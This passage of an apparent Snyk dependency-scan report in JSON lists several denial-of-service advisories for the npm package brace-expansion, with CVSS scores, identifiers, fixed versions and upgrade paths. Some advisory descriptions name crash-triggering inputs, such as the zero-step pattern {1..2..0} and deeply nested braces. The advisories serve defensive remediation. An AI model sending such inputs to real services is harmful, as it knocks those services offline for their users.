"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
